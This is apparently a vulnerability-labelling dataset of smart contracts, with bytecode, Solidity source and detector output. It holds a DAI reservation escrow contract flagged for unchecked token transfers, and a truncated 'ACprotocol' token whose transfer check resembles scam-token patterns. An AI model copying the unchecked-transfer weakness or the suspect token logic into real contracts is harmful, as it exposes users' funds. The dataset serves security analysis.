b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b35e056811f173c67c2c19a2798e8daa1c8e5969e4d653b3a93613e22c033c0364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,248
0xf513d1ce6b67040f154ca46552f6e4e7ab25ed05
pragma solidity 0.6.12; enum reservationstatus {CANCELLED, ACTIVATED, COMPLETED} interface DaiErc20 { function transfer(address, uint) external returns (bool); function transferFrom(address,address,uint256) external returns (bool); function approve(address,uint256) external returns (bool); function balanceOf(address) external view returns (uint); function allowance(address, address) external view returns (uint); } library mathlib { // --- Math functions as implemented in DAI ERC20 Token--- function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function calculatereservationdays(uint rstart,uint rend) internal pure returns(uint) { /* 1)Calculates the length of stay between two dates. 2)For example the number of days between reservation start and end. 3)Days are rounded, so 5.6 days becomes 6 days. 0.5 days become 1 day. */ require(rend > rstart,"Reservation End has to be greater than Reservation Start"); uint diff = sub(rend,rstart); uint dlen = diff / 86400; //div is Math.floor() uint md = diff % 86400; return md >= 43200 ? add(dlen,1) : dlen; } } contract owned { /* 1) Allows the manager to pause the main Factory contract 2) Only the Factory contract is owned. 3) The Manager has no control over the Reservation */ address public manager; constructor() public { manager = msg.sender; } modifier onlyManager() { require(msg.sender == manager); _; } function setManager(address newmanager) external onlyManager { /* Allows the current manager to set a new manager */ require(newmanager.balance > 0); manager = newmanager; } } contract ReservationFactory is owned { /* 1) The Reservation Factory contract to create and manage reservations 2) Only the Reservation Factory is owned by the manager 3) The manager has no control over each reservation or the cumulative advance payment locked in the Factory contract */ address constant private dai_ = 0x6B175474E89094C44Da98b954EedeAC495271d0F; DaiErc20 constant private daiToken = DaiErc20(dai_); //Reservation Fee in wad payed to the manager to create a reservation uint public reservationfee; uint constant private secondsinday = 86400; uint constant private secondsin21hrs = 75600; //Switch that controls whether the factory is active bool public factorycontractactive; uint private reservationid; uint constant private maxuint = 2**256-1; struct Reservation { address guest; address host; uint reservationstart; uint reservationend; uint dailyprice; uint advancepayment; reservationstatus rstatus; } mapping (bytes32 => Reservation) public Reservations; //Event for new Reservation event NewReservationEvent(bytes32 indexed rsvid, address indexed guest, address indexed host, uint rstart, uint rend, uint dprice, uint advpay, bytes8 rstartformat, bytes8 rendformat, uint eventtime); //Reservation Status Change Event event ReservationStatusEvent(bytes32 indexed rsvid, reservationstatus rstatus, uint rbalance, uint eventtime); constructor() public { reservationid =0; reservationfee = 1000000000000000000; //1 DAI factorycontractactive = true; } function setReservationFee(uint newfee) external onlyManager { /* 1) Changes the Reservation fee that is paid to the manager 2) The Reservation fee at launch of contract is set to 1 DAI 3) The reservationfee is a public variable and can always queried */ require(newfee > 0); reservationfee = newfee; } function setFactoryContractSwitch() external onlyManager { /* 1) Switch that controls whether the contract is active 2) If the contract is paused new reservations can not be created, but existing reservations can still be completed. */ factorycontractactive = factorycontractactive == true ? false : true; } function createnewReservation(address host, uint reservationstart, uint reservationend, uint dailyprice, uint advancepayment , bytes8 rstartformat, bytes8 rendformat) external { /* Will Create a new reservation between guest and host */ require(factorycontractactive, "Factory Contract should be Active"); require(reservationid < maxuint, "Maximum reservationid reached"); require(msg.sender != host,"Host and Guest can not be same"); require(dailyprice > 0, "Daily Price should be > 0"); require(now < mathlib.add(reservationstart,secondsin21hrs),"Too late to start this reservation"); uint lengthofstay = mathlib.calculatereservationdays(reservationstart,reservationend); require(lengthofstay > 0,"Length of Stay should be > 0"); uint totalreservationamount = mathlib.mul(dailyprice,lengthofstay); uint minadvpayment = lengthofstay > 5 ? mathlib.mul(dailyprice,2) : dailyprice; require(advancepayment >= minadvpayment && advancepayment <= totalreservationamount ,"Advance Payment should be >= minadvpayment and <= reservation amount "); //Check daitoken allowance for Factory contract require(daiToken.allowance(msg.sender,address(this)) >= mathlib.add(advancepayment, reservationfee), "daiToken allowance exceeded"); bytes32 rsvid = keccak256(abi.encodePacked(reservationid)); Reservations[rsvid] = Reservation(msg.sender, host, reservationstart, reservationend, dailyprice, advancepayment, reservationstatus.ACTIVATED); reservationid = mathlib.add(reservationid,1); //Transfer the advance payment to this contract daiToken.transferFrom(msg.sender, address(this), advancepayment); //Transfer the reservation fee to factory manager daiToken.transferFrom(msg.sender, manager, reservationfee); emit NewReservationEvent(rsvid, msg.sender, host, reservationstart, reservationend, dailyprice, advancepayment, rstartformat, rendformat, now); } modifier onlyGuest(bytes32 rsvid) { require(msg.sender == Reservations[rsvid].guest, "Only Guest"); _; } modifier onlyHost(bytes32 rsvid) { require(msg.sender == Reservations[rsvid].host, "Only Host"); _; } function getReservationDetails(bytes32 rsvid) external view returns (reservationstatus, uint) { /* Will get the changing variables for each reservation based on reservation ID */ Reservation memory thisreservation = Reservations[rsvid]; require(thisreservation.guest !=address(0),"Reservation does not exist"); return(thisreservation.rstatus, thisreservation.advancepayment); } function setHostCancelsReservation(bytes32 rsvid) external onlyHost(rsvid) { /* 1) Allows the host to cancel the reservation upto 21 Hrs after reservation start if ACTIVATED 2) Guest gets a Full Refund Instantly, since the Host is cancelling */ Reservation storage thisreservation = Reservations[rsvid]; require(thisreservation.rstatus == reservationstatus.ACTIVATED,"Reservation must be ACTIVATED"); uint reservationstart21Hrs = mathlib.add(thisreservation.reservationstart,secondsin21hrs); require(now < reservationstart21Hrs,"Reservation Can be CANCELLED upto 21 Hrs after reservation start"); uint rsvbalance = thisreservation.advancepayment; thisreservation.advancepayment = 0; thisreservation.rstatus = reservationstatus.CANCELLED; //Guest is refunded the entire advance payment balance daiToken.transfer(thisreservation.guest, rsvbalance); emit ReservationStatusEvent(rsvid, thisreservation.rstatus, thisreservation.advancepayment, now); } function setGuestCancelReservation(bytes32 rsvid) external onlyGuest(rsvid) { /* 1) Guest can cancel the reservation upto 21 Hrs after reservation start if ACTIVATED 2) If length of stay is 5 days or less, cancel upto 3 days before reservation start, otherwise a cancellation fee of dailyprice is applied 3) If length of stay is greater than 5 days, cancel upto 5 days before reservation start, otherwise a cancellation fee of 2*dailyprice is applied */ Reservation storage thisreservation = Reservations[rsvid]; require(thisreservation.rstatus == reservationstatus.ACTIVATED,"Reservation must be ACTIVATED"); uint reservationstart21Hrs = mathlib.add(thisreservation.reservationstart,secondsin21hrs); require(now < reservationstart21Hrs,"Guest can only cancel upto 21 Hrs after reservation start"); uint lengthofstay = mathlib.calculatereservationdays(thisreservation.reservationstart,thisreservation.reservationend); uint cancellationperiod = lengthofstay > 5 ? 5 : 3; uint rsvbalance = thisreservation.advancepayment; thisreservation.advancepayment = 0; thisreservation.rstatus = reservationstatus.CANCELLED; if (now < mathlib.sub(thisreservation.reservationstart,mathlib.mul(cancellationperiod,secondsinday))) { daiToken.transfer(thisreservation.guest,rsvbalance); } else { uint cancellationfee = lengthofstay > 5 ? mathlib.mul(thisreservation.dailyprice,2) : thisreservation.dailyprice; uint guestdue = mathlib.sub(rsvbalance,cancellationfee); //Host gets compensated for cancellation daiToken.transfer(thisreservation.host,cancellationfee); //Guest gets refunded the remaining balance if (guestdue > 0) { daiToken.transfer(thisreservation.guest,guestdue); } } emit ReservationStatusEvent(rsvid, thisreservation.rstatus, thisreservation.advancepayment, now); } function setHostClaimsRent(bytes32 rsvid) external onlyHost(rsvid) { /* Host can claim the rent 21 Hrs after reservation start */ Reservation storage thisreservation = Reservations[rsvid]; require(thisreservation.rstatus == reservationstatus.ACTIVATED,"Reservation must be ACTIVATED"); uint reservationstart21Hrs = mathlib.add(thisreservation.reservationstart,secondsin21hrs); require(now >= reservationstart21Hrs,"Host can only claim the rent 21 Hrs after reservation start"); uint rsvbalance = thisreservation.advancepayment; thisreservation.advancepayment = 0; thisreservation.rstatus = reservationstatus.COMPLETED; //Host claims the entire advance payment balance daiToken.transfer(thisreservation.host,rsvbalance); emit ReservationStatusEvent(rsvid, thisreservation.rstatus, thisreservation.advancepayment, now); } function setHostRefundsPartRent(bytes32 rsvid, uint refundamount) external onlyHost(rsvid) { /* 1) Host can refund the Guest a part or full amount 21 Hrs after reservation start 2) The remaining balance if any will be transferred to the Host. */ Reservation storage thisreservation = Reservations[rsvid]; require(thisreservation.rstatus == reservationstatus.ACTIVATED, "Reservation has to be ACTIVATED"); uint reservationstart21Hrs = mathlib.add(thisreservation.reservationstart,secondsin21hrs); require(now >= reservationstart21Hrs, "Host can refund part of contract balance 21 Hrs after Reservation Start"); uint rsvbalance = thisreservation.advancepayment; require(refundamount > 0 && refundamount <= rsvbalance, "Refund amount should be > 0 && <= rsvbalance"); uint hostdue = mathlib.sub(rsvbalance,refundamount); thisreservation.advancepayment = 0; thisreservation.rstatus = reservationstatus.COMPLETED; //The refund amount is transferred to the guest daiToken.transfer(thisreservation.guest,refundamount); //The remaining amount is transferred to the Host if (hostdue > 0) { daiToken.transfer(thisreservation.host,hostdue); } emit ReservationStatusEvent(rsvid, thisreservation.rstatus, thisreservation.advancepayment, now); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063481c6a751161008c5780635c4a793f116100665780635c4a793f1461028e578063867b568b146102ab578063d0ebdbe7146102c7578063d551818c146102ed576100cf565b8063481c6a751461021d578063482c2fa3146102415780635be701d414610249576100cf565b806303e871d1146100d4578063062642b9146100f35780630a7ec6441461016d5780631ab839db146101875780632acd5e4e146101aa5780633d662a4d146101c7575b600080fd5b6100f1600480360360208110156100ea57600080fd5b503561030a565b005b6101106004803603602081101561010957600080fd5b503561054c565b60405180886001600160a01b03168152602001876001600160a01b0316815260200186815260200185815260200184815260200183815260200182600281111561015657fe5b815260200197505050505050505060405180910390f35b610175610599565b60408051918252519081900360200190f35b6100f16004803603604081101561019d57600080fd5b508035906020013561059f565b6100f1600480360360208110156101c057600080fd5b50356108d7565b6100f1600480360360e08110156101dd57600080fd5b506001600160a01b03813516906020810135906040810135906060810135906080810135906001600160c01b031960a082013581169160c0013516610900565b610225610f12565b604080516001600160a01b039092168252519081900360200190f35b6100f1610f21565b6102666004803603602081101561025f57600080fd5b5035610f64565b6040518083600281111561027657fe5b81526020018281526020019250505060405180910390f35b6100f1600480360360208110156102a457600080fd5b5035611069565b6102b3611438565b604080519115158252519081900360200190f35b6100f1600480360360208110156102dd57600080fd5b50356001600160a01b0316611441565b6100f16004803603602081101561030357600080fd5b5035611491565b60008181526004602052604090206001015481906001600160a01b03163314610366576040805162461bcd60e51b815260206004820152600960248201526813db9b1e48121bdcdd60ba1b604482015290519081900360640190fd5b60008281526004602052604090206001600682015460ff16600281111561038957fe5b146103db576040805162461bcd60e51b815260206004820152601d60248201527f5265736572766174696f6e206d75737420626520414354495641544544000000604482015290519081900360640190fd5b60006103ee826002015462012750611635565b90508042101561042f5760405162461bcd60e51b815260040180806020018281038252603b815260200180611855603b913960400191505060405180910390fd5b60058201805460009182905560068401805460ff1916600217905560018401546040805163a9059cbb60e01b81526001600160a01b03909216600483015260248201839052519192736b175474e89094c44da98b954eedeac495271d0f9263a9059cbb926044808201936020939283900390910190829087803b1580156104b557600080fd5b505af11580156104c9573d6000803e3d6000fd5b505050506040513d60208110156104df57600080fd5b50506006830154600584015460405187927f6c5723e32846bc50d5aab1893dae2f79367ac8324adcf5f56ed692732544afc59260ff9091169142908084600281111561052757fe5b8152602001838152602001828152602001935050505060405180910390a25050505050565b600460208190526000918252604090912080546001820154600283015460038401549484015460058501546006909501546001600160a01b03948516969390941694919390919060ff1687565b60015481565b60008281526004602052604090206001015482906001600160a01b031633146105fb576040805162461bcd60e51b815260206004820152600960248201526813db9b1e48121bdcdd60ba1b604482015290519081900360640190fd5b60008381526004602052604090206001600682015460ff16600281111561061e57fe5b14610670576040805162461bcd60e51b815260206004820152601f60248201527f5265736572766174696f6e2068617320746f2062652041435449564154454400604482015290519081900360640190fd5b6000610683826002015462012750611635565b9050804210156106c45760405162461bcd60e51b81526004018080602001828103825260478152602001806118906047913960600191505060405180910390fd5b600582015484158015906106d85750808511155b6107135760405162461bcd60e51b815260040180806020018281038252602c815260200180611756602c913960400191505060405180910390fd5b600061071f828761164b565b6000600586015560068501805491925060029160ff1916600183021790555083546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820188905251736b175474e89094c44da98b954eedeac495271d0f9163a9059cbb9160448083019260209291908290030181600087803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b5050801561086a5760018401546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820183905251736b175474e89094c44da98b954eedeac495271d0f9163a9059cbb9160448083019260209291908290030181600087803b15801561083d57600080fd5b505af1158015610851573d6000803e3d6000fd5b505050506040513d602081101561086757600080fd5b50505b6006840154600585015460405189927f6c5723e32846bc50d5aab1893dae2f79367ac8324adcf5f56ed692732544afc59260ff909116914290808460028111156108b057fe5b8152602001838152602001828152602001935050505060405180910390a250505050505050565b6000546001600160a01b031633146108ee57600080fd5b600081116108fb57600080fd5b600155565b60025460ff166109415760405162461bcd60e51b81526004018080602001828103825260218152602001806118d76021913960400191505060405180910390fd5b60001960035410610999576040805162461bcd60e51b815260206004820152601d60248201527f4d6178696d756d207265736572766174696f6e69642072656163686564000000604482015290519081900360640190fd5b336001600160a01b03881614156109f7576040805162461bcd60e51b815260206004820152601e60248201527f486f737420616e642047756573742063616e206e6f742062652073616d650000604482015290519081900360640190fd5b60008411610a4c576040805162461bcd60e51b815260206004820152601960248201527f4461696c792050726963652073686f756c64206265203e203000000000000000604482015290519081900360640190fd5b610a598662012750611635565b4210610a965760405162461bcd60e51b81526004018080602001828103825260228152602001806118336022913960400191505060405180910390fd5b6000610aa2878761165b565b905060008111610af9576040805162461bcd60e51b815260206004820152601c60248201527f4c656e677468206f6620537461792073686f756c64206265203e203000000000604482015290519081900360640190fd5b6000610b0586836116d8565b9050600060058311610b175786610b22565b610b228760026116d8565b9050808610158015610b345750818611155b610b6f5760405162461bcd60e51b81526004018080602001828103825260458152602001806118f86045913960600191505060405180910390fd5b610b7b86600154611635565b60408051636eb1769f60e11b81523360048201523060248201529051736b175474e89094c44da98b954eedeac495271d0f9163dd62ed3e916044808301926020929190829003018186803b158015610bd257600080fd5b505afa158015610be6573d6000803e3d6000fd5b505050506040513d6020811015610bfc57600080fd5b50511015610c51576040805162461bcd60e51b815260206004820152601b60248201527f646169546f6b656e20616c6c6f77616e63652065786365656465640000000000604482015290519081900360640190fd5b600354604080516020808201939093528151808203840181528183018084528151919094012061012082019092523383526001600160a01b038d166060820152608081018c905260a081018b905260c081018a905260e081018990529091906101000160019052600082815260046020818152604092839020845181546001600160a01b039182166001600160a01b031991821617835592860151600180840180549290931691909416179055928401516002808501919091556060850151600385015560808501519284019290925560a0840151600584015560c08401516006840180549193909260ff1990921691908490811115610d4d57fe5b0217905550905050610d626003546001611635565b600355604080516323b872dd60e01b8152336004820152306024820152604481018990529051736b175474e89094c44da98b954eedeac495271d0f916323b872dd9160648083019260209291908290030181600087803b158015610dc557600080fd5b505af1158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b505060008054600154604080516323b872dd60e01b81523360048201526001600160a01b039093166024840152604483019190915251736b175474e89094c44da98b954eedeac495271d0f926323b872dd92606480820193602093909283900390910190829087803b158015610e6457600080fd5b505af1158015610e78573d6000803e3d6000fd5b505050506040513d6020811015610e8e57600080fd5b5050604080518b8152602081018b90528082018a9052606081018990526001600160c01b03198089166080830152871660a08201524260c082015290516001600160a01b038d1691339184917f39ddb5a147729681d0bb2120dfd0ff4c758a4f3114a9dd7c8c73e212263e6d0b919081900360e00190a45050505050505050505050565b6000546001600160a01b031681565b6000546001600160a01b03163314610f3857600080fd5b60025460ff161515600114610f4e576001610f51565b60005b6002805460ff1916911515919091179055565b600080610f6f6116fc565b600084815260046020818152604092839020835160e08101855281546001600160a01b039081168252600183015416928101929092526002808201549483019490945260038101546060830152918201546080820152600582015460a08201526006820154909260c084019160ff1690811115610fe857fe5b6002811115610ff357fe5b90525080519091506001600160a01b0316611055576040805162461bcd60e51b815260206004820152601a60248201527f5265736572766174696f6e20646f6573206e6f74206578697374000000000000604482015290519081900360640190fd5b8060c001518160a001519250925050915091565b60008181526004602052604090205481906001600160a01b031633146110c3576040805162461bcd60e51b815260206004820152600a60248201526913db9b1e4811dd595cdd60b21b604482015290519081900360640190fd5b60008281526004602052604090206001600682015460ff1660028111156110e657fe5b14611138576040805162461bcd60e51b815260206004820152601d60248201527f5265736572766174696f6e206d75737420626520414354495641544544000000604482015290519081900360640190fd5b600061114b826002015462012750611635565b905080421061118b5760405162461bcd60e51b81526004018080602001828103825260398152602001806117fa6039913960400191505060405180910390fd5b600061119f8360020154846003015461165b565b90506000600582116111b25760036111b5565b60055b600585018054600090915560068601805460ff19169055600286015460ff929092169250906111f0906111eb84620151806116d8565b61164b565b42101561128e5784546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820183905251736b175474e89094c44da98b954eedeac495271d0f9163a9059cbb9160448083019260209291908290030181600087803b15801561125c57600080fd5b505af1158015611270573d6000803e3d6000fd5b505050506040513d602081101561128657600080fd5b506113f29050565b6000600584116112a25785600401546112b1565b6112b1866004015460026116d8565b905060006112bf838361164b565b60018801546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820185905251919250736b175474e89094c44da98b954eedeac495271d0f9163a9059cbb916044808201926020929091908290030181600087803b15801561132b57600080fd5b505af115801561133f573d6000803e3d6000fd5b505050506040513d602081101561135557600080fd5b505080156113ef5786546040805163a9059cbb60e01b81526001600160a01b0390921660048301526024820183905251736b175474e89094c44da98b954eedeac495271d0f9163a9059cbb9160448083019260209291908290030181600087803b1580156113c257600080fd5b505af11580156113d6573d6000803e3d6000fd5b505050506040513d60208110156113ec57600080fd5b50505b50505b6006850154600586015460405189927f6c5723e32846bc50d5aab1893dae2f79367ac8324adcf5f56ed692732544afc59260ff909116914290808460028111156108b057fe5b60025460ff1681565b6000546001600160a01b0316331461145857600080fd5b6000816001600160a01b0316311161146f57600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008181526004602052604090206001015481906001600160a01b031633146114ed576040805162461bcd60e51b815260206004820152600960248201526813db9b1e48121bdcdd60ba1b604482015290519081900360640190fd5b60008281526004602052604090206001600682015460ff16600281111561151057fe5b14611562576040805162461bcd60e51b815260206004820152601d60248201527f5265736572766174696f6e206d75737420626520414354495641544544000000604482015290519081900360640190fd5b6000611575826002015462012750611635565b90508042106115b55760405162461bcd60e51b81526004018080602001828103825260408152602001806117826040913960400191505060405180910390fd5b60058201805460009182905560068401805460ff1916905583546040805163a9059cbb60e01b81526001600160a01b03909216600483015260248201839052519192736b175474e89094c44da98b954eedeac495271d0f9263a9059cbb926044808201936020939283900390910190829087803b1580156104b557600080fd5b8082018281101561164557600080fd5b92915050565b8082038281111561164557600080fd5b600082821161169b5760405162461bcd60e51b81526004018080602001828103825260388152602001806117c26038913960400191505060405180910390fd5b60006116a7838561164b565b90506201518080820490820661a8c08110156116c357816116ce565b6116ce826001611635565b9695505050505050565b60008115806116f3575050808202828282816116f057fe5b04145b61164557600080fd5b6040518060e0016040528060006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000600281111561175057fe5b90529056fe526566756e6420616d6f756e742073686f756c64206265203e2030202626203c3d2072737662616c616e63655265736572766174696f6e2043616e2062652043414e43454c4c4544207570746f20323120487273206166746572207265736572766174696f6e2073746172745265736572766174696f6e20456e642068617320746f2062652067726561746572207468616e205265736572766174696f6e20537461727447756573742063616e206f6e6c792063616e63656c207570746f20323120487273206166746572207265736572766174696f6e207374617274546f6f206c61746520746f2073746172742074686973207265736572766174696f6e486f73742063616e206f6e6c7920636c61696d207468652072656e7420323120487273206166746572207265736572766174696f6e207374617274486f73742063616e20726566756e642070617274206f6620636f6e74726163742062616c616e636520323120487273206166746572205265736572766174696f6e205374617274466163746f727920436f6e74726163742073686f756c6420626520416374697665416476616e6365205061796d656e742073686f756c64206265203e3d206d696e6164767061796d656e7420616e64203c3d207265736572766174696f6e20616d6f756e7420a26469706673582212209ac1276f052516b7ca90bee50c47c8185ae8871482841765a94f9da865c6cd7a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,249
0x34BaBF12cA549D05Ab92dA805437B043DAf14F62
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ // SPDX-License-Identifier: evmVersion, MIT pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address deployer, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed deployer, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance( address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ACprotocol { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _deployer, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _Uniswap = UNIpairFor(Uniswap, EtherGas, address(this)); address _MDEX = 